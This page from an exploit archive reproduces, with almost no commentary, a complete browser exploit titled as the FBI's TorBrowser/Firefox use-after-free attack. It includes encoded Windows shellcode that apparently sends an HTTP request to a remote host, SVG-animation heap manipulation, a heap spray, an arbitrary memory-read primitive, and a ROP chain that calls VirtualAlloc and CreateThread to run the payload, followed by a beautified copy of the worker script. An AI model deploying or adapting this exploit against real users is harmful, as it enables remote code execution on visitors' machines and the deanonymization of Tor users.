TorBrowser/Firefox Remote use-after-free FBI's exploit
CVE
Category
Price
Severity
N/A
CWE-416
Not disclosed
High
Author
Risk
Exploitation Type
Date
FBI
High
Remote
2016-12-02
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity High AC The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016120010 Below is a copy:
TorBrowser/Firefox Remote use-after-free FBI's exploit <html>
<head>
<script>
var thecode
='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
var worker = new Worker('cssbanner.js');
worker.postMessage(thecode);
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x90;
if (/.*Firefox/(4[7-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent))
{
offset = 0x88; // versions 47.0 or greater
}
var $ = function(id) { return document.getElementById(id); }
var exploit = function()
{
var u32 = new Uint32Array(block80)
u32[0x2] = arrBase - offset;
u32[0x8] = arrBase - offset;
u32[0xE] = arrBase - offset;
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
for(i = 0; i < heap80.length/2; i++)
{
heap80[i] = block80.slice(0)
}
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
for(i = heap80.length/2; i < heap80.length; i++)
{
heap80[i] = block80.slice(0)
}
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
window.dump('PAUSING!!! YAYA');
containerA.pauseAnimations();
}
worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
window.setTimeout(function()
{
worker.terminate();
document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '')
}, 1000);
}
arrBase = e.data;
exploit();
}
var idGenerator = function()
{
return 'id' +
(((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
var craftDOM = function()
{
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
//
</script>
<style>
#mtdiv{
position: absolute;
width: 960px;
height: 166px;
z-index: 15;
top: 100px;
left: 50%;
margin: 0 0 0 -480px;
}
</style>
</head>
<body bgcolor='#2F3236'>
<div id='mtdiv'>
<img src='mt.png'/>
</div>
</body>
<script>
setTimeout('window.location = 'member.php';', 2000);
</script>
</html>
===================================================================================================
content of "cssbanner.js":
self.onmessage = function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function
Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
this.read(a)&255};this.readWord=function(a){return
this.read(a)&65535};this.readDword=function(a){return this.read(a)};
this.read=function(a,b){if(a%4){var
c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
c>>>8*e|d<<8*(4-e)}return
this._abs_read(a)};this.readStr=function(a){for(var
b="",c=0;;){if(32==c)return"";var
d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
b};this.write=function(a){}}
function PE(b,a){this.mem=b;this.export_table=this.module_base=void
0;this.export_table_size=0;this.import_table=void
0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
NT
Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
0==this.import_directory&&this._resolve_pe_structures();for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
d.toUpperCase()){for(var
c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
0};void 0!=a&&this.find_module_base(a)}
function ROP(b,a){this.mem=b;this.pe=new
PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
b=0;;){for(var
e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
break;if(e==a.length)return
this.module_base+b;b++}};this.findStackPivot=function(){return
this.findSequence([148,195])};this.findPopRet=function(a){return
this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
0!=c?c:new ArrayBuffer(4096);
c=new Uint32Array(c);var
d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
c}}
var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
convu32[a]},sprayArrays=function(){for(var
b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
(o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
var spr=Array(400),arrBase=805306416,ropArrBuf=new
ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
for(memarrayloc=void 0;void
0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
mem=new Memory(memarrayloc+48,function(b){return
memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
rop=new
ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]),ropChain=new
Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
SUCCESS");
};
Beautified:
self.onmessage =
function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function Memory(b,a,f)
{
this._base_addr=b;
this._read=a;
this._write=f;
this._abs_read = function(a) {
a >= this._base_addr ? a = this._read( a - this._base_addr) : (
a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
return 0>a?4294967295+a+1:a
};
this._abs_write = function(a,b) {
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
= 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
};
this.readByte = function(a) {
return this.read(a) & 255
};
this.readWord = function(a) {
return this.read(a) & 65535
};
this.readDword = function(a){ return this.read(a) };
this.read = function(a,b) {
if (a%4) {
var c = this._abs_read( a & 4294967292),
d = this._abs_read( a+4 & 4294967292),
e = a%4;
return c>>>8*e | d<<8*(4-e)
}
return this._abs_read(a)
};
this.readStr = function(a) {
for(var b = "", c = 0;;) {
if (32 == c)
return "";
var d = this.readByte(a+c);
if(0 == d)
break;
b += String.fromCharCode(d);
c++
}
return b
};
this.write = function(a){}
}
function PE(b,a) {
this.mem = b;
this.export_table = this.module_base = void 0;
this.export_table_size = 0;
this.import_table = void 0;
this.import_table_size = 0;
this.find_module_base = function(a) {
for(a &= 4294901760; a; ) {
if(23117 == this.mem.readWord(a))
return this.module_base=a;
a -= 65536
}
};
this._resolve_pe_structures = function() {
peFile = this.module_base + this.mem.readWord(this.module_base+60);
if(17744 != this.mem.readDword(peFile))
throw"Bad NT Signature";
this.pe_file = peFile;
this.optional_header = this.pe_file+36;
this.export_directory =
this.module_base+this.mem.readDword(this.pe_file+120);
this.export_directory_size = this.mem.readDword(this.pe_file+124);
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
this.resolve_imported_function=function(a,b){
void 0==this.import_directory&&this._resolve_pe_structures();
for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){
var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
if(a.toUpperCase()==d.toUpperCase()){
for(var c = this.mem.readDword(e) + this.module_base,
e = this.mem.readDword(e+16) +
this.module_base,
d = this.mem.readDword(c),
f = 0 ; 0 !=d ;)
{
if(this.mem.readStr(d+this.module_base+2).toUpperCase()
== b.toUpperCase())
return this.mem.readDword(e+4*f);
f++;
d = this.mem.readDword(c+4*f)
}
break
}
e+=20
}
return 0
};
void 0!=a && this.find_module_base(a)
}
function ROP(b,a){
this.mem = b;
this.pe = new PE(b,a);
this.pe._resolve_pe_structures();
this.module_base = this.pe.module_base+4096;
this.findSequence = function(a) {
for(var b=0;;) {
for(var e=0,c=0;c<a.length;c++)
if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
e++;
else
break;
if(e==a.length)
return this.module_base+b;
b++
}
};
this.findStackPivot=function() {
return this.findSequence([148,195])
};
this.findPopRet=function(a) {
return this.findSequence([88,195])
};
this.ropChain=function(a,b,e,c) {
c = void 0 != c ? c : new ArrayBuffer(4096);
c = new Uint32Array(c);
var d = this.findStackPivot(),
f = this.findPopRet("EAX"),
g =
this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
c[0]= f+1;
c[1]= f;
c[2]= a+b+4*e+4;
c[3]= d;
for(i=0;i<e;i++)
c[(b>>2)+i] = d;
d =(b+4>>2)+e;
c[d++]=g;
c[d++]=a+(b+4*e+28);
c[d++]=a;
c[d++]=4096;
c[d++]=4096;
c[d++]=64;
c[d++]=3435973836;
return c
}
}
var conv=new ArrayBuffer(8),
convf64=new Float64Array(conv),
convu32=new Uint32Array(conv),
qword2Double=function(b,a) {
convu32[0]=b;
convu32[1]=a;
return convf64[0]
},
doubleFromFloat = function(b,a) {
convf64[0]=b;
return convu32[a]
},
sprayArrays=function() {
for(var b=Array(262138),a=0;262138>a;a++)
b[a]=fzero;
for(a=0;a<b.length;a+=512)
b[a+1] = memory,
b[a+21] = qword2Double(0,2),
b[a+14] = qword2Double(arrBase+o1,0),
b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
b[a+(o2+0)/8] = qword2Double(2,0),
b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
b[a+(o3+0)/8] = qword2Double(16,0),
b[a+(o3+24)/8] = qword2Double(2,0),
b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
b[a+(o6+8)/8] = qword2Double(2,0),
b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
b[a+(o7+16)/8] = qword2Double(0,4026531840),
b[a+(o7+32)/8] = qword2Double(0,3220176896),
b[a+(o7+48)/8] = qword2Double(2,0),
b[a+(o7+56)/8] = qword2Double(1,0),
b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o7+168)/8] = qword2Double(0,2),
b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
b[a+(o10+0)/8] = qword2Double(2,0),
b[a+(o10+8)/8] = qword2Double(0,268435456),
b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
b[a+(o11+16)/8] = qword2Double(0,4026531840),
b[a+(o11+32)/8] = qword2Double(0,3220176896),
b[a+(o11+48)/8] = qword2Double(2,0),
b[a+(o11+56)/8] = qword2Double(1,0),
b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o11+168)/8] = qword2Double(0,2);
for(a=0;a<spr.length;a++)
spr[a]=b.slice(0)
}, vtable_offset=300;
/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
vtable_offset=304 :
/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
&& (vtable_offset=308);
var spr=Array(400),
arrBase=805306416,
ropArrBuf=new ArrayBuffer(4096),
o1=176,
o2=256,
o3=768,
o4=832,
o5=864,
o6=928,
o7=1024,
o8=1280,
o9=1344,
o10=1376,
o11=1536,
oRop=1792,
memory=new Uint32Array(16),
len=memory.length,
arr_index=0,
arr_offset=0;
fzero=qword2Double(0,0);
0!=thecode.length%2&&(thecode+="\u9090");
sprayArrays();
postMessage(arrBase);
for(memarrayloc=void 0;void 0==memarrayloc;)
for(i=0;i<spr.length;i++)
for(offset=0;offset<spr[i].length;offset+=512)
if("object" != typeof spr[i][offset+1]) {
memarrayloc=doubleFromFloat(spr[i][offset+1],0);
arr_index=i;
arr_offset=offset;
spr[i][offset+(o2+0)/8]=qword2Double(65,0);
spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
for(j=0;33>j;j++)
spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
spr[i][offset+(o3+8)/8]=qword2Double(0,0);
spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
spr[i][offset+(o7+168)/8]=qword2Double(0,3);
spr[i][offset+(o7+88)/8]=qword2Double(0,2);
break
}
for(;memory.length==len;);
var mem=new Memory(memarrayloc+48,
function(b){return memory[b/4]},
function(b,a){memory[b/4]=a}),
xulPtr=mem.readDword(memarrayloc+12);
spr[arr_index][arr_offset+1]=ropArrBuf;
ropPtr=mem.readDword(arrBase+8);
spr[arr_index][arr_offset+1]=null;
ropBase=mem.readDword(ropPtr+16);
var rop=new ROP(mem,xulPtr);
rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf);
ropChain[0]=backupESP;
CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
ropChain[i++]=3296825488;
ropChain[i++]=2048;
ropChain[i++]=1347469361;
ropChain[i++]=1528949584;
ropChain[i++]=3092271187;
ropChain[i++]=CreateThread;
ropChain[i++]=3096498431;
ropChain[i++]=arrBase+16;
ropChain[i++]=1955274891;
ropChain[i++]=280697892;
ropChain[i++]=704643071;
ropChain[i++]=2425406428;
ropChain[i++]=4294957800;
ropChain[i++]=2425393407;
for (var j=0;j<thecode.length;j+=2)
ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
spr[arr_index][arr_offset+3]=qword2Double(0,256);
spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
postMessage("GREAT SUCCESS");
};
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